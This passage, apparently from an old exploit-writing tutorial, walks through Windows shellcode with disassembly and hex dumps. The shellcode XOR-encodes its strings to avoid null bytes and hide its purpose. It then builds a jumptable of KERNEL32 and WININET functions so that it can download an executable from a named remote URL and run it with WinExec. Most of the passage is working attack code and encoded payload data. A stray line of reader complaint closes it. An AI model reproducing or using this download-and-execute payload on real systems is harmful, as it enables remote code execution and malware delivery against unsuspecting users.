Creating our JumptableNow to create the jumptable.
Hurdle #1: We need to refer to the functions by name
That's right. GetProcAddress calls for either a function ordinal (which we can't use because they change from version to version), or a function name. A NULL terminated function name. Our exploit string has to have null characters in it? Oh shit! We should have thought of that earlier! That and we'll have to package this thing with a URL string as well for it to download!
So we be clever again. Since no character in any of our function names, or in our download URL is above ASCII 0x80, it's safe to tack all of the names and the url to the end of the exploit string, and XOR (or ADD for that matter) 0x80 to all of the string bytes. And when we start up the exploit, we simply XOR the tail of our exploit with 0x80's. This has the added advantage that the naked eye looking at the exploit string won't be able to tell exactly what we're trying to do. Not good encryption, but that's not the point. We're just trying to make it _work_.
So we tack the following crap to the end of the exploit string:
00000270: .. .. .. .. .. .. .. 4B-45 52 4E 45-4C 33 32 00 KERNEL32 00000280: 5F 6C 63 72-65 61 74 00-5F 6C 77 72-69 74 65 00 _lcreat _lwrite 00000290: 5F 6C 63 6C-6F 73 65 00-57 69 6E 45-78 65 63 00 _lclose WinExec 000002A0: 45 78 69 74-50 72 6F 63-65 73 73 00-47 6C 6F 62 ExitProcess Glob 000002B0: 61 6C 41 6C-6C 6F 63 00-57 49 4E 49-4E 45 54 00 alAlloc WININET 000002C0: 49 6E 74 65-72 6E 65 74-4F 70 65 6E-41 00 49 6E InternetOpenA In 000002D0: 74 65 72 6E-65 74 43 6C-6F 73 65 48-61 6E 64 6C ternetCloseHandl 000002E0: 65 00 49 6E-74 65 72 6E-65 74 4F 70-65 6E 55 72 e InternetOpenUr 000002F0: 6C 41 00 49-6E 74 65 72-6E 65 74 52-65 61 64 46 lA InternetReadF 00000300: 69 6C 65 00-68 74 74 70-3A 2F 2F 77-77 77 2E 6C ile http://www.l 00000310: 30 70 68 74-2E 63 6F 6D-2F 7E 64 69-6C 64 6F 67 0pht.com/~dildog 00000320: 2F 65 61 74-6D 65 2E 65-78 65 00 .. .. .. .. .. /eatme.exeBut we XOR it with 0x80 to eliminate the 00 bytes, as follows:
00000270: .. .. .. .. .. .. .. CB-C5 D2 CE C5-CC B3 B2 80 -+-++¦¦_Ç 00000280: DF EC E3 F2-E5 E1 F4 80-DF EC F7 F2-E9 F4 E5 80 __¶__ß_Ç_______Ç 00000290: DF EC E3 EC-EF F3 E5 80-D7 E9 EE C5-F8 E5 E3 80 __¶____Ç+__+°_¶Ç 000002A0: C5 F8 E9 F4-D0 F2 EF E3-E5 F3 F3 80-C7 EC EF E2 +°__-__¶___Ǧ___ 000002B0: E1 EC C1 EC-EC EF E3 80-D7 C9 CE C9-CE C5 D4 80 ß_-___¶Ç+++++++Ç 000002C0: C9 EE F4 E5-F2 EE E5 F4-CF F0 E5 EE-C1 80 C9 EE +_______-___-Ç+_ 000002D0: F4 E5 F2 EE-E5 F4 C3 EC-EF F3 E5 C8-E1 EE E4 EC ______+____+ß___ 000002E0: E5 80 C9 EE-F4 E5 F2 EE-E5 F4 CF F0-E5 EE D5 F2 _Ç+_______-___+_ 000002F0: EC C1 80 C9-EE F4 E5 F2-EE E5 F4 D2-E5 E1 E4 C6 _-Ç+_______-_ß_¦ 00000300: E9 EC E5 80-E8 F4 F4 F0-BA AF AF F7-F7 F7 AE EC ___Ç____¦»»___«_ 00000310: B0 F0 E8 F4-AE E3 EF ED-AF FE E4 E9-EC E4 EF E7 ____«¶__»_______ 00000320: AF E5 E1 F4-ED E5 AE E5-F8 E5 80 .. .. .. .. .. »_ß___Got it? Good.Hurdle #2: We need to decode the string table
So our first task in the code is to decode this shit, so we make this the first thing it executes:
00000146: 33C9 xor ecx,ecxClear ECX, we're gonna use this.00000148: B88053FF63 mov eax,063FF5380 ;"c_SÇ" 0000014D: 2C80 sub al,080 ;"Ç" 0000014F: C1C018 rol eax,018Set EAX to the end of our data area in memory (we have to do this ugly funk so we don't get any NULL characters).00000152: B1B4 mov cl,0B4 ;"¦"ECX is now 0x000000B4, the number of characters we want to XOR.00000154: 48 dec eax 00000155: 803080 xor b,[eax],080 ;"Ç" 00000158: E2FA loop 000000154 ---------- (1)And here's the XOR loop. Now we see why we XORed from the end of the memory. Now EAX points to the start of the data, and we can proceed to use it to reference the names. Now we move on to actually get our jumptable.Hurdle #3: Loading all the procedure addresses
0000015A: BE7C10606A mov esi,06A60107C 0000015F: 50 push eax 00000160: 50 push eax 00000161: FF16 call d,[esi] 00000163: 8BF0 mov esi,eaxAll this code does is call LoadModule. I didn't need to push twice there, but I was debugging, and hey, I forgot to remove it. NOP it out if you like. EAX pointed to the string "KERNEL32", which was the first argument to LoadModule. When LoadModule returns, it will put the kernel module handle in EAX, which we then save in ESI, so that it won't get blown away by calling other procedures.
00000165: 5B pop ebx 00000166: 8BFB mov edi,ebx 00000168: 6681EF4BFF sub di,0FF4B ;"_K"This sets EDI to point to the base of our jumptable, which we place 181 bytes past the beginning of our decoded string table (in further stack space).0000016D: FC cld 0000016E: 33C9 xor ecx,ecx 00000170: 80E9FA sub cl,-006We're going to loop six times, for the six procedures we're loading from the kernel. So now ECX=0x00000006.00000173: 43 inc ebx 00000174: 32C0 xor al,al 00000176: D7 xlat 00000177: 84C0 test al,al 00000179: 75F8 jne 000000173 ---------- (1) 0000017B: 43 inc ebxThis loop scans over the text, searching for a null character (move to the next string, in other words), and then points EBX the character one past the 0x00 byte. This moves us from one procedure name to the next. Note the 31337 use of XLAT. I like that. Our whole memory reference in one byte. Sweet.0000017C: 51 push ecx 0000017D: 53 push ebx 0000017E: 56 push esi 0000017F: FF157810606A call d,[06A601078] 00000185: AB stosd 00000186: 59 pop ecxThis gets the procedure addresses for our functions, and places them in the table pointed to by EDI.00000187: E2EA loop 000000173 ---------- (2)Loop for all the kernel procedures.Now that we're done with the kernel, we gotta repeat for the WININET procedures.
00000189: 43 inc ebx 0000018A: 32C0 xor al,al 0000018C: D7 xlat 0000018D: 84C0 test al,al 0000018F: 75F8 jne 000000189 ---------- (2) 00000191: 43 inc ebxThis code only exists to move EBX past the name of the last kernel function and to the string "WININET" in our decoded string table.00000192: 53 push ebx 00000193: 53 push ebx 00000194: FF157C10606A call d,[06A60107C] 0000019A: 8BF0 mov esi,eax 0000019C: 90 nop 0000019D: 90 nop 0000019E: 90 nop 0000019F: 90 nopYeah the NOPs and the double-push are more debugging shit. Get rid of them yourself if you don't like 'em there. This code gets the module handle (base address) of WININET.DLL. It stores it in ESI.000001A0: 33C9 xor ecx,ecx 000001A2: 83E9FC sub ecx,-004 000001A5: 43 inc ebx 000001A6: 32C0 xor al,al 000001A8: D7 xlat 000001A9: 84C0 test al,al 000001AB: 75F8 jne 0000001A5 000001AD: 43 inc ebx 000001AE: 51 push ecx 000001AF: 53 push ebx 000001B0: 56 push esi 000001B1: FF157810606A call d,[06A601078] 000001B7: AB stosd 000001B8: 59 pop ecx 000001B9: E2EA loop 0000001A5This is just a copy of the code used to get the addresses for the kernel functions, but this time it's getting the addresses of 4 WININET functions. I hope you don't need me to explain all of this twice, or you'll never finish reading this. OK! now we've built us a jumptable. EDI points to the dword past the end of the jumptable, so we can just reference our procedures indirectly from EDI now (call dword ptr [edi-16]). It's just like an import table, but more fun!Now that we have harnessed all of our tools, they are mere keystrokes away. It's time to get to the meat.
This makes no sense. I hate you.